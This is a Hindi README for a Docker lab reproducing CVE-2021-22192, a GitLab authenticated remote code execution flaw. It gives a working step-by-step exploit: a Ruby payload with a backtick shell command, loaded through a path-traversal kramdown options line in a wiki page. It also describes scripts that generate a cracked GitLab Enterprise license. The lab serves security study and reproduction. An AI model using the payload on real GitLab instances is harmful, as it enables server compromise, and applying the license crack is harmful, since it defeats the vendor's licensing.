
CVE-2021-22192 लैब: अनधिकृत उपयोगकर्ता RCE भेद्यता
CVE-2021-22192 प्रैक्टिस रेंज: अनधिकृत उपयोगकर्ता RCE भेद्यता
CVE-2021-22192
├── README.md ............... [यह README स्पष्टीकरण]
├── imgs .................... [README स्पष्टीकरण के लिए सहायक चित्र]
├── gitlab .................. [Gitlab कंटेनर का माउंट निर्देशिका]
│ ├── Dockerfile .......... [Gitlab का Docker बिल्ड फ़ाइल]
│ ├── config .............. [Gitlab कॉन्फ़िगरेशन माउंट निर्देशिका]
│ ├── data ................ [Gitlab डेटा माउंट निर्देशिका]
│ ├── logs ................ [Gitlab लॉग माउंट निर्देशिका]
│ ├── keys ................ [Gitlab क्रैक्ड लाइसेंस संग्रहण निर्देशिका]
│ └── nginx ............... [Gitlab अंतर्निहित nginx कॉन्फ़िगरेशन निर्देशिका (बैकअप कॉन्फ़िग, संशोधित न करें)]
├── runner .................. [Gitlab कंटेनर का माउंट निर्देशिका]
├── license ................. [क्रैक लाइसेंस के लिए कंटेनर बिल्ड निर्देशिका]
│ ├── Dockerfile .......... [लाइसेंस का Docker बिल्ड फ़ाइल]
│ └── license.rb .......... [क्रैक लाइसेंस उत्पन्न करने के लिए Ruby स्क्रिप्ट]
├── test .................... [Kramdown डिबग निर्देशिका]
├── docker-compose.yml ...... [Docker का बिल्ड कॉन्फ़िगरेशन]
├── keygen.ps1 .............. [Windows: एक क्लिक में क्रैक लाइसेंस उत्पन्न करें]
├── keygen.sh ............... [Linux: एक क्लिक में क्रैक लाइसेंस उत्पन्न करें]
├── run.ps1 ................. [Windows: एक क्लिक में Gitlab प्रैक्टिस रेंज चलाएँ]
├── run.sh .................. [Linux: एक क्लिक में Gitlab प्रैक्टिस रेंज चलाएँ]
├── register.ps1 ............ [Windows: एक क्लिक में Runner पंजीकृत करें]
├── register.sh ............. [Linux: एक क्लिक में Runner पंजीकृत करें]
├── stop.ps1 ................ [Windows: एक क्लिक में Gitlab प्रैक्टिस रेंज रोकें]
└── stop.sh ................. [Linux: एक क्लिक में Gitlab प्रैक्टिस रेंज रोकें]
./keygen.sh या ./keygen.ps1./run.sh या ./run.ps1पहले क्रैक की-पेयर उत्पन्न करते समय, सार्वजनिक कुंजी (public key) पहले ही Gitlab कंटेनर में लिखी जा चुकी है, अब निजी कुंजी (private key) को फ्रंटएंड के माध्यम से Gitlab पर अपलोड करके क्रैक पूरा करना होगा:
./gitlab/keys/ निर्देशिका में उत्पन्न होता है, इसके अंतर्गत .gitlab-license फ़ाइल की सामग्री (निजी कुंजी) को कॉपी करेंEnter license key चुनें और निजी कुंजी पेस्ट करें, Upload license बटन पर क्लिक करें, इस प्रकार क्रैक पूरा हो जाएगा
./register.sh $TOKEN या ./register.ps1 $TOKENअब सभी रिपॉजिटरी इस Runner का उपयोग करके CI स्क्रिप्ट (पाइपलाइन जॉब्स) निष्पादित कर सकते हैं

मान लें कि आपका Gitlab उपयोगकर्ता नाम ${username} है और रिपॉजिटरी नाम ${repository_name} है। जब रिपॉजिटरी पहले से jekyll का उपयोग करके SSG सफलतापूर्वक बना चुकी है, तो निम्नलिखित URL तक पहुँचें:
http://127.0.0.1:8000/${username}/${repository_name}/public/
विस्तृत प्रक्रिया के लिए hackerone देखें।
+ -> New snippet पर क्लिक करेंTitle जो चाहे भरें, Description (optional) के इनपुट बॉक्स पर क्लिक करें, फिर Attach a file पर क्लिक करके payload.rb नामक फ़ाइल अपलोड करें, जिसकी सामग्री इस प्रकार हो:puts "hello from ruby"
`echo exp was here > /tmp/exp`
इस समय Description (optional) में फ़ाइल का लिंक दिखाई देगा, उदाहरण: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb), और फ़ाइल पहले ही docker_gitlab कंटेनर के /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb पर अपलोड हो चुकी है। (Create snippet पर क्लिक करना आवश्यक नहीं है, बस इस फ़ाइल पथ के Hash को याद रखें)
ध्यान दें: किसी एक रिपॉजिटरी के बाएँ साइडबार में
Snippet -> New snippetके माध्यम से न करें, अन्यथा फ़ाइल पथ[payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb)के रूप में दिखाई देगा। वास्तव में docker_gitlab कंटेनर पर अपलोड पथ/var/opt/gitlab/gitlab-rails/uploads/@hash/random_string/payload.rbहो जाएगा, जिसमें बीच में एक यादृच्छिक स्ट्रिंग है, जिसका उपयोग करना कठिन है।
+ New Project पर क्लिक करें, नाम जो चाहे दें (जैसे poc, या न बनाएँ, मौजूदा रिपॉजिटरी का उपयोग भी कर सकते हैं)Wiki पर क्लिक करें, फिर Create your first page पर क्लिक करेंTitle और Content जो चाहे भरें, Create page पर क्लिक करेंpoc रिपॉजिटरी के लिए wiki रिपॉजिटरी उत्पन्न करेगा, जिसका नाम poc.wiki होगा (शीर्ष दाएँ Clone repository पर क्लिक करके clone कमांड पा सकते हैं: git clone http://127.0.0.1/root/poc.wiki.git)git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki चलाकर wiki रिपॉजिटरी को स्थानीय रूप से डाउनलोड करें{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
git add -A . && git commit -m "page1.rmd" && git pushpage1 पृष्ठ को देख सकते हैं, उस पर क्लिक करें/tmp/exp बन चुकी है
page1.rmdपृष्ठ पर क्लिक करने के बाद, वास्तव मेंgitlab/logs/gitlab-rails/exceptions_json.logमें त्रुटि संदेश देख सकते हैं, लेकिन इससे कमांड के निष्पादित होने पर कोई प्रभाव नहीं पड़ता:
{
"severity": "ERROR",
"time": "2021-04-26T10:36:07.978Z",
"correlation_id": "A24bByUP9L5",
"tags.correlation_id": "A24bByUP9L5",
"tags.locale": "en",
"user.id": 1,
"user.email": "[email protected]",
"user.username": "root",
"extra.project_id": 1,
"extra.file_name": "page1.rmd",
"exception.class": "NameError",
"exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
"exception.backtrace": [
"lib/gitlab/other_markup.rb:11:in `render'",
"app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
"app/helpers/markup_helper.rb:153:in `markup_unsafe'",
"app/helpers/markup_helper.rb:138:in `render_wiki_content'",
"app/views/shared/wikis/show.html.haml:25",
"app/controllers/application_controller.rb:134:in `render'",
"app/controllers/concerns/wiki_actions.rb:68:in `show'",
"ee/lib/gitlab/ip_address_state.rb:10:in `with'",
"ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
"app/controllers/application_controller.rb:491:in `set_current_admin'",
"lib/gitlab/session.rb:11:in `with_session'",
"app/controllers/application_controller.rb:482:in `set_session_storage'",
"app/controllers/application_controller.rb:476:in `set_locale'",
"lib/gitlab/error_tracking.rb:50:in `with_context'",
"app/controllers/application_controller.rb:541:in `sentry_context'",
"app/controllers/application_controller.rb:469:in `block in set_current_context'",
"lib/gitlab/application_context.rb:52:in `block in use'",
"lib/gitlab/application_context.rb:52:in `use'",
"lib/gitlab/application_context.rb:20:in `with_context'",
"app/controllers/application_controller.rb:462:in `set_current_context'",
"ee/lib/gitlab/jira/middleware.rb:19:in `call'"
]
}
page1.rmd